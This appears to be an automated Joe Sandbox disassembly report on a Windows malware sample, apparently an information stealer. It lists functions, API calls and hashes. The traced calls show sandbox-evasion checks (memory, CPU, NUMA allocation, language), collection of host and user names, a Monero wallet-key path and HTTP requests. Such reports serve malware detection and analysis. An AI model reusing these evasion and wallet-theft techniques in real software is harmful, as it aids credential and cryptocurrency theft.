Opcode ID: ad45730601d9dd0c5998603a06b1e725334b1a4e0bcd6f02a921d7db567908ce
Instruction ID: 54d980bb9d910f255f9e6129d7615281ed3b0eb0958e1cb51f41fc8a8079e50b
Opcode Fuzzy Hash: ad45730601d9dd0c5998603a06b1e725334b1a4e0bcd6f02a921d7db567908ce
Instruction Fuzzy Hash: D4E13E729106089BCB16FBA0DC56FFD7738AB54304F50812CB506EA591EF346E4DDBA2

Function 003C17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 003C17C5
ExitProcess.KERNEL32 ref: 003C17D1

Strings

block, xrefs: 003C17B7

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 859542ae4b37a4498cdd0c26b0d678d0134c26fbaab5878e04fc98d9a19e306c
Instruction ID: 58d0ae697dbed3978425a86cb7c6203b096ac3f7622e08b3d5885e067d9ee72a
Opcode Fuzzy Hash: 859542ae4b37a4498cdd0c26b0d678d0134c26fbaab5878e04fc98d9a19e306c
Instruction Fuzzy Hash: 75516AB5A04209EBCB06DFA0D954FBE77BAAF45704F10804DE40AEB241D774ED45EBA2

Function 003C7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 003C7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 003C757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 003C7603
RtlAllocateHeap.NTDLL(00000000), ref: 003C760A
wsprintfA.USER32 ref: 003C7640

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Strings

:, xrefs: 003C755C
=, xrefs: 003C764D, 003C7655, 003C761B, 003C7623
\, xrefs: 003C7560
C, xrefs: 003C754C

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$=
API String ID: 1544550907-3393898382
Opcode ID: e1fd3e55b98d75c55d80ab9675ebad48fc5e9b808390dadb14ed3f3e8aae000a
Instruction ID: 90ce733143e7006e1b3fa7292b20e2f947fd02ead15d49a79da4f873b68ce15c
Opcode Fuzzy Hash: e1fd3e55b98d75c55d80ab9675ebad48fc5e9b808390dadb14ed3f3e8aae000a
Instruction Fuzzy Hash: 634151B1D04258ABDB11DB94DC45FEEBBB8AB18704F10419DF509AB280D7786E44CFA6

Function 003C69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003C9860: GetProcAddress.KERNEL32(76210000,01181730), ref: 003C98A1
Part of subcall function 003C9860: GetProcAddress.KERNEL32(76210000,01181508), ref: 003C98BA
Part of subcall function 003C9860: GetProcAddress.KERNEL32(76210000,01181748), ref: 003C98D2
Part of subcall function 003C9860: GetProcAddress.KERNEL32(76210000,01181760), ref: 003C98EA
Part of subcall function 003C9860: GetProcAddress.KERNEL32(76210000,011816D0), ref: 003C9903
Part of subcall function 003C9860: GetProcAddress.KERNEL32(76210000,01188C70), ref: 003C991B
Part of subcall function 003C9860: GetProcAddress.KERNEL32(76210000,01175430), ref: 003C9933
Part of subcall function 003C9860: GetProcAddress.KERNEL32(76210000,011755D0), ref: 003C994C
Part of subcall function 003C9860: GetProcAddress.KERNEL32(76210000,01181628), ref: 003C9964
Part of subcall function 003C9860: GetProcAddress.KERNEL32(76210000,01181658), ref: 003C997C
Part of subcall function 003C9860: GetProcAddress.KERNEL32(76210000,01181640), ref: 003C9995
Part of subcall function 003C9860: GetProcAddress.KERNEL32(76210000,01181520), ref: 003C99AD
Part of subcall function 003C9860: GetProcAddress.KERNEL32(76210000,011755F0), ref: 003C99C5
Part of subcall function 003C9860: GetProcAddress.KERNEL32(76210000,01181550), ref: 003C99DE

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003B11D0: ExitProcess.KERNEL32 ref: 003B1211

Part of subcall function 003B1160: GetSystemInfo.KERNEL32(?), ref: 003B116A
Part of subcall function 003B1160: ExitProcess.KERNEL32 ref: 003B117E

Part of subcall function 003B1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 003B112B
Part of subcall function 003B1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 003B1132
Part of subcall function 003B1110: ExitProcess.KERNEL32 ref: 003B1143

Part of subcall function 003B1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 003B123E
Part of subcall function 003B1220: __aulldiv.LIBCMT ref: 003B1258
Part of subcall function 003B1220: __aulldiv.LIBCMT ref: 003B1266
Part of subcall function 003B1220: ExitProcess.KERNEL32 ref: 003B1294

Part of subcall function 003C6770: GetUserDefaultLangID.KERNEL32 ref: 003C6774

Part of subcall function 003B1190: ExitProcess.KERNEL32 ref: 003B11C6

Part of subcall function 003C7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003B11B7), ref: 003C7880
Part of subcall function 003C7850: RtlAllocateHeap.NTDLL(00000000), ref: 003C7887
Part of subcall function 003C7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 003C789F

Part of subcall function 003C78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 003C7910
Part of subcall function 003C78E0: RtlAllocateHeap.NTDLL(00000000), ref: 003C7917
Part of subcall function 003C78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 003C792F

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01188AD0,?,003D110C,?,00000000,?,003D1110,?,00000000,003D0AEF), ref: 003C6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 003C6AE8
CloseHandle.KERNEL32(00000000), ref: 003C6AF9
Sleep.KERNEL32(00001770), ref: 003C6B04
CloseHandle.KERNEL32(?,00000000,?,01188AD0,?,003D110C,?,00000000,?,003D1110,?,00000000,003D0AEF), ref: 003C6B1A
ExitProcess.KERNEL32 ref: 003C6B22

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 5f4d6395aff1af8d8e5bdd92b013dcde451f995f85316a5ed3a18b026028e5fa
Instruction ID: c81cbdf78560937b4258deb426cd9d45c06c68473f8af1cf3d3a712f3ccdfe1f
Opcode Fuzzy Hash: 5f4d6395aff1af8d8e5bdd92b013dcde451f995f85316a5ed3a18b026028e5fa
Instruction Fuzzy Hash: A131D4B1900608AADB06FBA0DC57FEE7778AB14344F50451CF602EA191EF746D05DBA6

Function 003B1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 003B123E
__aulldiv.LIBCMT ref: 003B1258
__aulldiv.LIBCMT ref: 003B1266
ExitProcess.KERNEL32 ref: 003B1294

Strings

@, xrefs: 003B1233

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 8baaa6055f99996d1a8dddaa867e818f8d88bbcee3b7b26d8ebbe12d6c503de6
Instruction ID: d0b3fe46223a359b6509849882fe235cf117ee26987b39c6fac7bdee404eef2d
Opcode Fuzzy Hash: 8baaa6055f99996d1a8dddaa867e818f8d88bbcee3b7b26d8ebbe12d6c503de6
Instruction Fuzzy Hash: 05014BB0940308AAEB10EBE4DC49BAEBB78AB14705F608458F705FA280D7B46A458799

Function 003C6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01188AD0,?,003D110C,?,00000000,?,003D1110,?,00000000,003D0AEF), ref: 003C6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 003C6AE8
CloseHandle.KERNEL32(00000000), ref: 003C6AF9
Sleep.KERNEL32(00001770), ref: 003C6B04
CloseHandle.KERNEL32(?,00000000,?,01188AD0,?,003D110C,?,00000000,?,003D1110,?,00000000,003D0AEF), ref: 003C6B1A
ExitProcess.KERNEL32 ref: 003C6B22

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: dde687d3e1cacb85eee3832ba1ad9aad4cff4b57f1e897f886f6e92b1ce29633
Instruction ID: 483a6fe3f105f22673f84626d20af7d365911afde9ce3215cf9d07bec748271c
Opcode Fuzzy Hash: dde687d3e1cacb85eee3832ba1ad9aad4cff4b57f1e897f886f6e92b1ce29633
Instruction Fuzzy Hash: E4F058B4A44209ABE702ABA1DC0BFBE7B78EB14741F10451CB507E91C1DBB46D44EBA7

Function 003B47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 003B4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 003B4849

Strings

<, xrefs: 003B47C9

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 5be5968e0eb2416499ce26f4c11a681f17cff91c34a83d80e1b4eeef3420953c
Instruction ID: 429850d42fde1f4ed778b11b24e57a3615a122c9fc9c0332e6af3e9f623d8ba4
Opcode Fuzzy Hash: 5be5968e0eb2416499ce26f4c11a681f17cff91c34a83d80e1b4eeef3420953c
Instruction Fuzzy Hash: 6B2142B5D01209ABDF14DF55E845BEE7B75FB44314F108625F515AB2C0EB706A09CF81

Function 003C51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

Part of subcall function 003B6280: InternetOpenA.WININET(003D0DFE,00000001,00000000,00000000,00000000), ref: 003B62E1
Part of subcall function 003B6280: StrCmpCA.SHLWAPI(?,0118FA48), ref: 003B6303
Part of subcall function 003B6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 003B6335
Part of subcall function 003B6280: HttpOpenRequestA.WININET(00000000,GET,?,0118F160,00000000,00000000,00400100,00000000), ref: 003B6385
Part of subcall function 003B6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 003B63BF
Part of subcall function 003B6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003B63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 003C5228

Strings

ERROR, xrefs: 003C521A
ERROR, xrefs: 003C5273

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 72d6afba42a9a7635ab712a42e80372c9dffe017e620a1566838f53fea802fb2
Instruction ID: 93db41ac6ad04fe5507e840c141d46c349189d214b7cabe1be401aafb0440ce5
Opcode Fuzzy Hash: 72d6afba42a9a7635ab712a42e80372c9dffe017e620a1566838f53fea802fb2
Instruction Fuzzy Hash: E311F570900608ABCB16FBA0D952FED7778AF50304F804558E90A8E592EF34AF06DB92

Function 003C78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 003C7910
RtlAllocateHeap.NTDLL(00000000), ref: 003C7917
GetComputerNameA.KERNEL32(?,00000104), ref: 003C792F

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: cd78d43ffa4227cc56d301c617fc83fa6ba658972d1326f35c3bef9c8f5cdb1d
Instruction ID: 4b893b6936f5d5cc32ab2607236d1af9427bd30add2feca547593f0e9763e9da
Opcode Fuzzy Hash: cd78d43ffa4227cc56d301c617fc83fa6ba658972d1326f35c3bef9c8f5cdb1d
Instruction Fuzzy Hash: 7B0162B1904204EFC710DF98DD45FAABBB8F704B61F10421AF945E3680C37459048BA2

Function 003B1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 003B112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 003B1132
ExitProcess.KERNEL32 ref: 003B1143

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: dfd3ba0a6c18272f46cc2ba0d05b4d2d9caac028db7365aad86fb40ef4954d8c
Instruction ID: 16493c11ffa36b2e6085d8d4110f41308b8dd2d1878b7cde9bb619007dd5fa8e
Opcode Fuzzy Hash: dfd3ba0a6c18272f46cc2ba0d05b4d2d9caac028db7365aad86fb40ef4954d8c
Instruction Fuzzy Hash: 9CE086B0945308FBE7106BA0DC0AB587678EB04B45F500044F70CBA5C0C6F82605EA9A

Function 003B10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 003B10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 003B10F7

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 4b48b97e0f27016e261e9784790e87f3d2f83dd221151b0afdeb34df0d4f3e33
